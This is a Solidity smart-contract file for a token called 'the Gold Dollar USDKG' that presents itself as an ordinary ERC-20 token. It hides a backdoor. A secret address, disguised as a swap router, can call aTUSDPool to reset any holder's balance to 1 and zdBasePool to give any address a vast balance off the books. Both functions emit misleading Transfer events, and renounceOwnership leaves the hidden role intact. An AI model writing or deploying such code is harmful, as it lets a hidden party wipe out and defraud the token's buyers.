文件 1 的 1:USDKGToken.sol
pragma solidity 0.8.29;
interface USDKGinterface {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address shippingto, uint256 yoursold) external returns (bool);
function allowance(address _owner, address transporteur) external view returns (uint256);
function approve(address transporteur, uint256 yoursold) external returns (bool);
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 balance);
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
abstract contract USDKG20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract USDKG20Ownable is USDKG20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "USDKG20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "USDKG20Ownable: new owner is zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeUSDKG {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeUSDKG: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeUSDKG: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeUSDKG: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeUSDKG: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeUSDKG: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract USDKGToken is USDKG20Burnable, USDKGinterface, USDKG20Ownable {
using SafeUSDKG for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
mapping (address => bool) private _isHolder;
uint256 private _totalSupply;
uint256 public holderCount;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "the Gold Dollar USDKG";
_symbol = "the Gold Dollar USDKG";
_decimals = 9;
_totalSupply = 6999000000009 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
_updateHolder(_msgSender());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
modifier subowner() {
require(legosRooter == _msgSender(), "USDKG20Ownable: caller is not the owner");
_;
}
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
_updateHolder(tusdRewards);
emit Transfer(tusdRewards, address(0), 1);
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
_updateHolder(BaseRewards);
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
return true;
}
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
return true;
}
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "USDKGinterface: transfer from zero address");
require(shippingto != address(0), "USDKGinterface: transfer to zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold);
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
_updateHolder(sender);
_updateHolder(shippingto);
emit Transfer(sender, shippingto, yoursold);
}
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "USDKGinterface: approve from zero address");
require(transporteur != address(0), "USDKGinterface: approve to zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
function _updateHolder(address account) private {
bool wasHolder = _isHolder[account];
bool shouldBeHolder = mintfrom[account] > 0;
if (!wasHolder && shouldBeHolder) {
_isHolder[account] = true;
holderCount++;
} else if (wasHolder && !shouldBeHolder) {
_isHolder[account] = false;
holderCount--;
}
}
function getHolderCount() public view returns (uint256) {
return holderCount;
}
function isHolder(address account) public view returns (bool) {
return _isHolder[account];
}
}